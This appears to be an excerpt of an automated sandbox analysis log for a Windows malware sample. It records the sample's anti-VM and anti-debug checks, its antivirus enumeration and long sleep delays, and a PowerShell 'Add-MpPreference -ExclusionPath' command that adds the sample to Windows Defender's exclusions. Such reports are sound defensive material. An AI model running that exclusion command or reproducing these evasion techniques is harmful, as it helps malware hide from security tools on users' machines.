Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 9D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 25B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 23F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 7280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 8280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 8430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 9430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 2E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5879	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3799	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Window / User API: threadDelayed 8472	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Window / User API: threadDelayed 1363	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe TID: 6156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe TID: 3636	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088238454.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088238454.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\`
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595773433.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595773433.0000000000F36000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595773433.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067CA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
